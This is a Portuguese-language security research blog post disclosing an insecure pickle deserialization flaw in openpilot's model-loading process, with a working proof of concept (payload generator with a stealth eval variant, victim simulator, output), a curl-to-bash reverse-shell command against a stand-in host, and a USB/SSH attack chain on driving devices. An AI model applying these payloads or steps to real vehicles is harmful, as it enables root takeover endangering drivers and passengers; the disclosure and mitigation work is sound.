[PT-BR] Build Your Nightmare – Destrinchando a CVE-2026-12191

Escrito por  Thiago Bispo

Resumo

Enquanto o mercado global de veículos autônomos cresce, a segurança de sistemas críticos de assistência à direção pode estar por um fio. Nossa pesquisa recente expôs uma falha sistêmica que transforma a sofisticação da inteligência artificial no maior ponto de vulnerabilidade do veículo.

O time de pesquisa Yokai Research da Hakai identificou a CVE-2026-12191, uma vulnerabilidade crítica de desserialização insegura dentro do openpilot, um ecossistema amplamente adotado que controla funções vitais, como freio, aceleração e direção, em mais de 275 modelos de veículos.

Utilizando um módulo inseguro do ecossistema Python (pickle), o sistema permite que um atacante obtenha uma execução remota de código (RCE) com privilégios de root. Em termos comerciais e operacionais, isso significa a abertura de uma “porta dos fundos” física para o controle do automóvel para fazer o que quiser, incluindo acidentes intencionais e danos à vida de pessoas. Este blogpost destrincha a vulnerabilidade mostrando como funciona a cadeia de ataque, a prova de conceito, os impactos e a como evitar que o sistema fique vulnerável.

Introdução

Sistemas de direção autônoma deixaram de ser ficção há tempos, passando a ser o sonho de consumo de muita gente atualmente. De acordo com Statista, o mercado de veículos autônomos deve ultrapassar 2 trilhões de dólares até 2030 [1].

Os sistemas desses veículos rodam em hardware de prateleira, dentro de carros de produção, controlando freio, acelerador e direção de forma contínua. Por trás dessa autonomia existe uma cadeia de software complexa: redes neurais, pipelines de visão computacional, comunicação entre processos e atualizações pelo ar (Over The Air – OTA). 

Quanto mais essa cadeia cresce, maior fica a superfície de ataque e muitas vezes, são primitivas básicas e antigas do ecossistema Python que aparecem como o elo mais fraco.

Nossa equipe encontrou uma falha de segurança (CVE-2026-12191) no sistema de assistência à direção, através da forma que ele desserializa objetos. Este blogpost detalha como a vulnerabilidade acontece, como pode ser explorada e seu impacto para a indústria de carros autônomos.

Openpilot

O openpilot [2] é um sistema de assistência à direção de nível 2 desenvolvido pela comma.ai [3]. Ele substitui (ou complementa) o Sistemas Avançados de Assistência ao Motorista (ADAS) de fábrica em mais de 275 modelos de carros Toyota, Honda, Hyundai, Kia, Subaru, Chevrolet, entre outros, implementando funcionalidades como:

  • Lane Centering Assist (ACC lateral): mantém o carro no centro da faixa.
  • Adaptive Cruise Control (ACC longitudinal): controla aceleração e frenagem em função do tráfego.
  • Driver Monitoring: vigia o motorista via câmera infravermelha.
  • Mapeamento e previsão de trajetória: através de redes neurais que rodam em tempo real sobre frames de câmera.

O software roda em um hardware dedicado vendido pela própria comma.ai, atualmente o comma 3X, que é plugado na porta OBD-II/harness do veículo. Internamente, o dispositivo é um System-on-a-Chip (SoC) ARM rodando uma distribuição Linux customizada (AGNOS), com o openpilot rodando como o aplicativo principal. Os processos críticos, incluindo o modeld, que executa o modelo de visão que decide a trajetória, rodam com privilégios elevados.

O projeto também é referência acadêmica e industrial, com diversos projetos se baseando nele (MADS, FrogPilot, sunnypilot, etc.), citado em artigos de pesquisa em ADAS, e usado por entusiastas e empresas para coletar dados de direção em escala.

De forma geral, openpilot é um software open-source que fisicamente dirige carros nas ruas de forma autônoma. Qualquer falha de segurança no caminho de execução tem implicações muito além da confidencialidade de dados.

Desserialização insegura

Para explicar a desserialização insegura [4] de um objeto será usada uma analogia. Serializar um objeto é como embrulhar um pacote: você pega algo que existe na memória, um dicionário, uma instância de classe, um grafo de objetos, e o transforma numa sequência de bytes “embrulhada” para caber em disco, num socket ou numa mensagem de rede. Desserializar é abrir esse presente do outro lado e remontar o objeto original.

Imagine uma aplicação que cria um objeto representando um usuário:

class Usuario:

    def __init__(self, nome, idade):

        self.nome = nome

        self.idade = idade

usuario = Usuario("Ana", 25)

Enquanto o programa está rodando, esse objeto fica apenas na memória RAM. Se o programa for encerrado, ele desaparece. Para preservá-lo, podemos serializá-lo. A serialização percorre o objeto e transforma sua estrutura em uma sequência de bytes ou texto.

O pickle [5] foi criado especificamente para lidar com a serialização de objetos em Python. Ele transforma um objeto em bytes (que pode ser salvo em um objeto .pkl) com a função dumps:

import pickle

dados = {

    "nome": "Ana",

    "idade": 25

}

serializado = pickle.dumps(dados)

Para recuperar o objeto, basta usar a função loads:

objeto = pickle.loads(serializado)

O problema é o que está dentro do embrulho. Quando você já sabe o que está dentro do pacote, vem de alguém em quem confia, espera encontrar um objeto do outro lado. Mas e se o embrulho não vem com remetente garantido? E se qualquer um pode colocar uma caixa idêntica na sua porta, com a mesma fita, o mesmo papel, e dentro, em vez do objeto que está esperando, houver uma bomba que dispara assim que você levanta a tampa?

É exatamente isso que acontece numa vulnerabilidade de desserialização insegura. No Pickle, o problema ocorre quando os bytes não formam um envelope passivo de dados: ele é uma lista de instruções de montagem que o interpretador Python executa enquanto “abre” o arquivo. Um .pkl pode dizer “para reconstruir esse objeto, primeiro chame os.system(‘curl atacante.com/shell.sh | bash’), depois me devolva o resultado” (o que resultaria no download e execução de um shell reverso) e o Python executa antes mesmo da aplicação inspecionar o conteúdo. Só abrir e executar o que o objeto serializado contém é um risco de execução de código malicioso.

Isso significa que não se deve tratar um arquivo serializado vindo de fonte não autenticada com a mesma desconfiança que você trataria um pacote anônimo deixado no portão. O pacote não deve ser aberto de imediato, primeiro deve-se verificar primeiro quem mandou, conferir se a caixa não foi violada no caminho (hash de integridade) e, idealmente, trocar o formato por um que seja só dado inerte, sem mecanismo de execução imediata embutido. Na própria documentação do Pickle existe um aviso de que “o módulo pickle não é seguro” e que só deve ser realizada desserialização de objetos confiáveis.

O perigo no modeld

O modeld (selfdrive/modelid/models/modeld.py) é um processo do Openpilot que carrega o modelo neural de visão e produz a trajetória que o carro irá seguir. Para fazer isso, ele desserializa arquivos .pkl (sem nenhuma validação) utilizando a biblioteca Pickle. São pelo menos 14 chamadas a pickle.load() / pickle.loads() espalhadas pelo pipeline de modelo, todas sem restrição, sem checagem de assinatura, sem hash de integridade. Na versão 0.11.1. do Openpilot os pontos críticos estão nos seguintes trechos:

Metadados nos três modelos:

# modeld.py:149-150  — metadados do modelo de visão
with open(VISION_METADATA_PATH, 'rb') as f:

    vision_metadata = pickle.load(f)        # <-- sem validação

# modeld.py:156-157  — metadados do modelo off-policy

with open(OFF_POLICY_METADATA_PATH, 'rb') as f:

    off_policy_metadata = pickle.load(f)    # <-- sem validação

# modeld.py:162-163  — metadados do modelo on-policy

with open(ON_POLICY_METADATA_PATH, 'rb') as f:

    policy_metadata = pickle.load(f)        # <-- sem validação

Linhas individuais: 149, 156, 162 abrem o arquivo; 150, 157, 163 fazem o pickle.load.

Grafos neurais montados via chunks:

# modeld.py:190

self.vision_run     = pickle.loads(read_file_chunked(str(VISION_PKL_PATH)))

# modeld.py:191

self.policy_run     = pickle.loads(read_file_chunked(str(ON_POLICY_PKL_PATH)))

# modeld.py:192

self.off_policy_run = pickle.loads(read_file_chunked(str(OFF_POLICY_PKL_PATH)))

Aqui o pickle.loads recebe bytes vindos de read_file_chunked, qualquer um dos chunks alterado no disco se traduz em código executado.

Caminho dinâmico construído a partir de dimensões de câmeras (ModelState.run):

# modeld.py:206 — w, h vêm do VisionBuf (IPC)

w, h = bufs[key].width, bufs[key].height

# modeld.py:208 — path construído por f-string a partir de w/h

warp_path = MODELS_DIR / f'warp_{w}x{h}_tinygrad.pkl'

# modeld.py:209-210

with open(warp_path, "rb") as f:

    self.update_imgs = pickle.load(f)        # <-- sem validação

Esse é o sink mais interessante: o nome do arquivo a ser desserializado depende de valores (modeld.py:206) vindos via VisionIPC, então um atacante que consiga influenciar width/height pode redirecionar o pickle.load da linha 210 para um .pkl previamente plantado.

Resumo dos sinks em modeld.py:

LinhaChamadaOrigem dos Bytes
150pickle.load(f)VISION_METADATA_PATH (disco)
157pickle.load(f)OFF_POLICY_METADATA_PATH (disco)
163pickle.load(f)ON_POLICY_METADATA_PATH (disco)
190pickle.loads(…)read_file_chunked(VISION_PKL_PATH)
191pickle.loads(…)read_file_chunked(ON_POLICY_PKL_PATH)
192pickle.loads(…)read_file_chunked(OFF_POLICY_PKL_PATH)
210pickle.loads(f)warp_{w}x{h}_tinygrad.pkl (path dinâmico via IPC)

O mesmo padrão se repete em dmonitoringmodeld.py (monitoramento do motorista mais 3 chamadas), compile_warp.py, get_model_metadata.py e outros utilitários, totalizando 14 chamadas.

Prova de Conceito (PoC)

O pickle executa código durante a desserialização via protocolo __reduce__. Criar um .pkl malicioso é trivial:

import os, pickle

class Payload:

    def __reduce__(self):

        return (os.system, ('id > /tmp/PWNED.txt',))

with open('malicious_metadata.pkl', 'wb') as f:

    pickle.dump(Payload(), f)

Do lado da vítima, o modeld faz exatamente isso, sem nenhuma verificação antes:

with open(VISION_METADATA_PATH, 'rb') as f:

    vision_metadata = pickle.load(f)   # a payload executa aqui

Substituir selfdrive/modeld/models/driving_vision_metadata.pkl pelo arquivo pkl gerado acima é suficiente para confirmar RCE: 

$ cat /tmp/PWNED.txt

uid=0(root) gid=0(root) groups=0(root)

Não há sanitização, whitelist de classes, assinatura ou hash verificado em nenhum momento antes dessa linha.

Para identificar esta fragilidade, foi emulado um sistema ADAS minimalista, apenas com a funcionalidade de desserialização encontrada no Openpilot, através de um código python simples (simulate_victim.py):

#!/usr/bin/env python3

"""

===========================================================================

  VICTIM SIDE — simulate_victim.py

  Simulates EXACTLY what openpilot's modeld does with pickle.load()

===========================================================================

This script replicates the vulnerable code path from:

  selfdrive/modeld/modeld.py  — ModelState.__init__(), lines 149-163, 190-192, 210

It loads the attacker's malicious pickle using the SAME calls that

openpilot uses, proving that arbitrary code execution occurs during

deserialization with zero validation.

"""

import pickle

import os

import sys

SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))

PAYLOAD_DIR = os.path.join(SCRIPT_DIR, "payloads")

MARKER_FILE = os.path.join(PAYLOAD_DIR, "PWNED.txt")

def cleanup():

    """Remove marker from previous runs"""

    if os.path.exists(MARKER_FILE):

        os.remove(MARKER_FILE)

def simulate_modeld_metadata_load(pkl_path: str) -> dict:

    """

    === THIS IS THE EXACT VULNERABLE PATTERN FROM modeld.py ===

    Source: selfdrive/modeld/modeld.py, ModelState.__init__(), line 149-150:

        with open(VISION_METADATA_PATH, 'rb') as f:

            vision_metadata = pickle.load(f)         

    No RestrictedUnpickler. No signature check. No hash validation.

    Just raw pickle.load() on a file from disk.

    """

    print(f"  [modeld] Loading metadata from: {pkl_path}")

    print(f"  [modeld] Calling pickle.load(f)...")

    with open(pkl_path, 'rb') as f:

        metadata = pickle.load(f)    

    return metadata

def simulate_modeld_chunked_load(pkl_path: str):

    """

    === SECOND VULNERABLE PATTERN FROM modeld.py ===

    Source: selfdrive/modeld/modeld.py, ModelState.__init__(), line 190:

        self.vision_run = pickle.loads(read_file_chunked(str(VISION_PKL_PATH)))

    The file is read as raw bytes (possibly reassembled from chunks)

    and then directly deserialized. Same vulnerability.

    """

    print(f"  [modeld] Loading chunked model from: {pkl_path}")

    print(f"  [modeld] Calling pickle.loads(data)...")

    # Simulates read_file_chunked() — just reads the file bytes

    with open(pkl_path, 'rb') as f:

        data = f.read()

    result = pickle.loads(data)   

    return result

def main():

    print("=" * 60)

    print("  CVE-2026-12191 PoC — VICTIM SIMULATION")

    print("  Simulating openpilot modeld pickle.load()")

    print("=" * 60)

    # Check payloads exist

    payload_simple = os.path.join(PAYLOAD_DIR, "malicious_metadata.pkl")

    payload_stealth = os.path.join(PAYLOAD_DIR, "malicious_metadata_stealth.pkl")

    if not os.path.exists(payload_simple):

        print("\n[!] Payloads not found. Run generate_payload.py first.")

        sys.exit(1)

    cleanup()

    # =====================================================================

    # TEST 1: Simple info exfil payload via pickle.load() (file handle)

    # Exploits: modeld.py line 150 — pickle.load(f)

    # =====================================================================

    print("\n" + "-" * 60)

    print("TEST 1: pickle.load(f) — metadata loading path")

    print("  Vulnerable code: modeld.py:150")

    print("    with open(VISION_METADATA_PATH, 'rb') as f:")

    print("        vision_metadata = pickle.load(f)")

    print("-" * 60)

    result1 = simulate_modeld_metadata_load(payload_simple)

    print(f"  [modeld] pickle.load() returned: {type(result1)}")

    # Check if code executed

    if os.path.exists(MARKER_FILE):

        print(f"\n  [!!!] ARBITRARY CODE EXECUTION CONFIRMED")

        print(f"  [!!!] Marker file created at: {MARKER_FILE}")

        print(f"\n  Contents of {MARKER_FILE}:")

        print("  " + "-" * 50)

        with open(MARKER_FILE, 'r') as f:

            for line in f:

                print(f"  {line}", end='')

        print("\n  " + "-" * 50)

    else:

        print("  [?] Marker not found (payload may use different proof)")

    # =====================================================================

    # TEST 2: Stealth payload via pickle.loads() (bytes, chunked path)

    # Exploits: modeld.py line 190 — pickle.loads(read_file_chunked(...))

    # =====================================================================

    print("\n" + "-" * 60)

    print("TEST 2: pickle.loads(bytes) — chunked model loading path")

    print("  Vulnerable code: modeld.py:190")

    print("    self.vision_run = pickle.loads(read_file_chunked(...))")

    print("-" * 60)

    if os.path.exists(payload_stealth):

        result2 = simulate_modeld_chunked_load(payload_stealth)

        print(f"  [modeld] pickle.loads() returned: {type(result2)}")

        if isinstance(result2, dict):

            print(f"  [modeld] Keys: {list(result2.keys())}")

            if 'input_shapes' in result2:

                print(f"  [!!!] STEALTH PAYLOAD: returned VALID metadata dict")

                print(f"  [!!!] modeld would continue running normally — NO CRASH")

                print(f"  [!!!] Attacker code ran silently during deserialization")

        # Check updated marker

        if os.path.exists(MARKER_FILE):

            print(f"\n  Updated marker file contents:")

            print("  " + "-" * 50)

            with open(MARKER_FILE, 'r') as f:

                for line in f:

                    print(f"  {line}", end='')

            print("\n  " + "-" * 50)

    # =====================================================================

    # RESULTS

    # =====================================================================

    print("\n" + "=" * 60)

    print("  RESULTS")

    print("=" * 60)

    exploited = os.path.exists(MARKER_FILE)

    if exploited:

        print(""" [CONFIRMED] CVE-2026-12191 """)

    else:

        print("  [?] Exploitation could not be confirmed. Check payloads.")

    return 0 if exploited else 1

if __name__ == "__main__":

    sys.exit(main())

Para simular a exploração da vulnerabilidade, basta criar artefatos .pkl maliciosos dentro de uma pasta chamada “payloads” que serão carregados pelo script. Para gerar esses artefatos pode ser utilizado o script abaixo (generate_payload.py). Ele vai gerar dois objetos .pkl: um que pode crashar o openpilot por não retornar o valor esperado (payload 1) e outro que é stealth, ou seja, ele vai rodar e devolver um valor simulado para quem chamou a função, não sendo possível perceber que foi feito um ataque (payload 2).

#!/usr/bin/env python3

"""

===========================================================================

  ATTACKER SIDE — generate_payload.py

  CVE-2026-12191: Insecure Deserialization in commaai/openpilot modeld

===========================================================================

This script generates malicious pickle files that, when loaded by openpilot's

modeld via pickle.load() or pickle.loads(), execute arbitrary code.

"""

import pickle

import os

PAYLOAD_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), "payloads")

os.makedirs(PAYLOAD_DIR, exist_ok=True)

MARKER_FILE = os.path.join(PAYLOAD_DIR, "PWNED.txt")

# =========================================================================

# PAYLOAD 1: Info Exfiltration (safe, proves RCE)

# =========================================================================

# When pickle deserializes this, it calls os.system() with the shell command.

# On a comma device this runs as root.

class InfoExfilPayload:

    """

    pickle's __reduce__ protocol: when unpickled, Python calls:

        os.system(<shell_command>)

    This gives us full arbitrary code execution.

    """

    def __reduce__(self):

        # This code runs during pickle.load() — before modeld even checks the return value

        # We use os.system to write a marker file proving execution

        marker = MARKER_FILE.replace("\\", "/")

        cmd = (

            f'python -c "'

            f"import os,sys,datetime,socket,platform;"

            f"marker={marker!r};"

            f"f=open(marker,'w');"

            f"f.write('='*60+'\\n');"

            f"f.write('  CVE-2026-12191 EXPLOITED - ARBITRARY CODE EXECUTION\\n');"

            f"f.write('='*60+'\\n');"

            f"f.write('Timestamp: '+str(datetime.datetime.now())+'\\n');"

            f"f.write('User: '+os.getenv('USER',os.getenv('USERNAME','unknown'))+'\\n');"

            f"f.write('Hostname: '+socket.gethostname()+'\\n');"

            f"f.close();"

            f"print('[PAYLOAD] Code executed! Marker written to '+marker)"

            f'"'

        )

        return (os.system, (cmd,))

# =========================================================================

# PAYLOAD 2: STEALTH — executes code AND returns valid metadata dict

# =========================================================================

# This is the most dangerous variant. It:

#   1. Runs arbitrary code during deserialization

#   2. Returns a dict that LOOKS like valid model metadata

#   3. modeld continues running normally — no crash, no detection

#

# The attacker can silently exfiltrate data, install a backdoor, or

# manipulate model outputs while the car appears to function normally.

class StealthPayload:

    """

    Uses a chained approach: eval() runs code, then returns a

    legitimate-looking metadata dictionary so modeld doesn't crash.

    """

    def __reduce__(self):

        # We abuse eval to run side effects AND return a value.

        # This is the most dangerous variant: silent code execution + valid return.

        marker = MARKER_FILE.replace("\\", "/")

        # eval expression: writes marker as side-effect, returns dict

        expr = (

            "("

            "__import__('builtins').open(" + repr(marker) + ",'a').write("

            "'\\n[STEALTH] Executed at '+str(__import__('datetime').datetime.now())+'\\n'"

            "+'[STEALTH] PID='+str(__import__('os').getpid())+'\\n'"

            "+'[STEALTH] Returning fake metadata - modeld will NOT crash\\n'"

            "),"

            "{"

            "'model_checkpoint':'malicious_v1.0',"

            "'output_slices':{'plan':__import__('builtins').slice(0,4955),'lane_lines':__import__('builtins').slice(4955,5219)},"

            "'input_shapes':{'input_img':(1,12,128,256),'calib':(1,3)},"

            "'output_shapes':{'outputs':(1,5547)}"

            "}"

            ")[-1]"

        )

        return (eval, (expr,))

# =========================================================================

# Generate payload files

# =========================================================================

def main():

    print("=" * 60)

    print("  CVE-2026-12191 PoC — Generating malicious pickle payloads")

    print("  Target: commaai/openpilot selfdrive/modeld/modeld.py")

    print("=" * 60)

    # Payload 1: Info exfil

    path1 = os.path.join(PAYLOAD_DIR, "malicious_metadata.pkl")

    with open(path1, "wb") as f:

        pickle.dump(InfoExfilPayload(), f, protocol=2)

    size1 = os.path.getsize(path1)

    print(f"\n[+] Payload 1 (Info Exfil):  {path1}  ({size1} bytes)")

    # Payload 2: Stealth

    path2 = os.path.join(PAYLOAD_DIR, "malicious_metadata_stealth.pkl")

    with open(path2, "wb") as f:

        pickle.dump(StealthPayload(), f, protocol=2)

    size2 = os.path.getsize(path2)

    print(f"[+] Payload 2 (Stealth):    {path2}  ({size2} bytes)")

    print(f"\n[*] Payloads ready. Now run: python simulate_victim.py")

    print(f"[*] Or copy any .pkl to the comma device's models/ dir.\n")

if __name__ == "__main__":

    main()

Após executar primeiro o script de geração de payload e depois o de simulação da vítima (sistema vulnerável), obtém a resposta da execução de comando, confirmando a vulnerabilidade:

  ============================================================

    CVE-2026-12191 EXPLOITED - ARBITRARY CODE EXECUTION

  ============================================================

  Timestamp: 2026-06-30 10:18:18.369978

  User: Bispo

  Hostname: dell-notebook

  [STEALTH] Executed at 2026-06-30 10:18:18.384664

  [STEALTH] PID=25588

  [STEALTH] Returning fake metadata - modeld will NOT crash

Como pode ser explorado

Para executar a exploração, o atacante necessita escrever o arquivo no lugar certo, que é o diretório de módulos. Existem pelo menos dois vetores de ataques possíveis para a exploração da desserialização: acesso físico via USB, acesso lógico via SSH em rede compartilhada ou Supply Chain.

Acesso físico via USB:

Esse é o caminho mais direto e provavelmente o mais realista para um atacante oportunista (através de uma visita a um mecânico mal intencionado, estacionamento, alguém com acesso ao carro na garagem, etc).

Pré-requisitos:

  • Acesso físico ao Comma 3X por alguns minutos através de cabo USB-C.

Cadeia de ataque:

  1. Atacante gera o .pkl malicioso: produz um arquivo de poucos KB com __reduce__ apontando para os.system(‘curl atacante.com/x.sh | bash’) ou um payload stealth que não dependa de conexão com a internet que mantém o dict de metadados válido.
  2. No carro-alvo: destaca o comma 3X do suporte , conecta via USB-C à maquina de ataque e transfere o pkl para o sistema em /data/openpilot/selfdrive/modeld/models/supercombo_metadata.pkl (sobrescreve um dos .pkl legítimos).
  3. Recoloca o dispositivo no suporte. No próximo boot (ou já no próximo carregamento do modeld), o payload roda como root.

Acesso lógico via SSH em rede compartilhada:

Esse vetor é uma variante do vetor anterior, porém sem precisar tocar no carro.

Pré-requisitos:

  • Estar na mesma rede Wi-Fi que o comma 3X (oficina, estacionamento com Wi-Fi público que o dispositivo já conheça, hotspot do próprio veículo).
  • Chave SSH do dono ou credencial obtida via phishing/leak.

A cadeia é idêntica ao vetor anterior, só muda a parte de transferência de arquivo, que seria por SSH ao invés de copiar diretamente.

Impactos

A exploração da vulnerabilidade permite ao atacante a execução remota de código (RCE) com privilégios elevados, permitindo controle total do aparelho em que o sistema operacional roda.

Diferentemente de uma vulnerabilidade em uma aplicação web, que o “pote de ouro” é dados pessoais ou chaves de acesso para outros ativos, no caso de carros autônomos o impacto pode comprometer a vida das pessoas. Como o modeld é o processo que controla a direção e aceleração do carro, o atacante com acesso poderia causar um acidente intencionalmente, fazendo curvas, travando freios ou acelerando o carro. 

Também há a possibilidade de espionagem: o dispositivo tem câmeras (frontal e voltada para o motorista), GPS e microfone. Um invasor pode gravar rotas, conversas e imagens internas do veículo sem que ninguém perceba, útil tanto para crime comum (planejar sequestro, roubo) quanto para vigilância dirigida (jornalistas, executivos, autoridades).

Outro impacto envolve o atacante conseguir contaminar o canal de atualização do fabricante (cenário “supply chain“), uma única ação compromete simultaneamente toda a frota de carros que receber aquela atualização, potencialmente dezenas de carros nas ruas ao mesmo tempo.

Além do dano direto à vida, o cenário cria exposição a processos judiciais por responsabilidade civil, ações coletivas de consumidores, investigação de órgãos reguladores, perda imediata de confiança da base de clientes e impacto reputacional.

Divulgação responsável

A vulnerabilidade foi encaminhada para o fornecedor através dos canais oficiais de segurança disponibilizados, mas não foi obtida resposta mesmo após o prazo de 1 mês. Assim, foi feita a divulgação no VulnDB, que também tentou contato com o fornecedor sem sucesso. Após 2 meses da primeira tentativa de contato com os fornecedores, a vulnerabilidade foi publicada e foi-lhe atribuída a CVE-2026-12191.

Como evitar o ataque

A mitigação para desserialização insegura é direta e bem conhecida e envolve reformular as partes do código onde a desserialização ocorre, através de ações como:

  1. Substituir pickle por um formato seguro: safetensors, ONNX nativo, flatbuffers, MessagePack com schema. Modelos de ML têm formatos modernos justamente para evitar esse problema.
  2. Assinar criptograficamente os artefatos: garantir que objetos .pkl, chunks, manifest sejam assinados com uma chave assimétrica e verificar a assinatura antes de qualquer pickle.load.
  3. Restringir a desserialização: Se for impossível remover pickle no curto prazo, usar RestrictedUnpickler com whitelist explícita de classes — limita drasticamente o que um payload pode invocar.
  4. Validação de integridade: verificar a integridade de chunks (através de hashes SHA-256 no manifest assinado) antes de remontar e desserializar.

Conclusão

O caso da CVE-2026-12191 vai além de uma desserialização insegura: ela representa um espelho das fragilidades inerentes à rápida adoção de tecnologias autônomas em sistemas críticos. Quando veículos são transformados em computadores sobre rodas, a vasta superfície de ataque do software moderno é herdada para o sistema.

A vulnerabilidade exposta demonstra que, mesmo em projetos open-source revolucionários e amplamente adotados, a dependência de módulos inerentemente inseguros, como o pickle, pode prejudicar anos de avanço tecnológico, colocando em risco vidas. 

O futuro da mobilidade depende da transição de uma cultura de “inovar a qualquer custo” para uma de “desenvolvimento seguro por design”. Como vimos, o sonho de um carro autônomo pode se transformar em um pesadelo através da exploração de uma vulnerabilidade simples. 

No fim das contas, a tecnologia evolui exponencialmente, mas as lições de segurança fundamental permanecem imutáveis: nunca confiar em dados de entrada externos e construir sempre com a premissa de que a segurança não é uma camada, mas a base de todo o sistema.

Onde praticar

O Hacking Club é uma plataforma de treinamento focada no desenvolvimento de profissionais de cibersegurança. O desafio Pilot simula um serviço com a vulnerabilidade referenciada neste artigo e pode ser utilizado para consolidar o conhecimento apresentado.

Referências

[1] https://www.statista.com/statistics/1224515/av-market-size-worldwide-forecast/ 

[2] https://github.com/commaai/openpilot 

[3] https://comma.ai/ 

[4] https://cwe.mitre.org/data/definitions/502.html 

[5] https://docs.python.org/pt-br/3/library/pickle.html 

Logo da Hakai.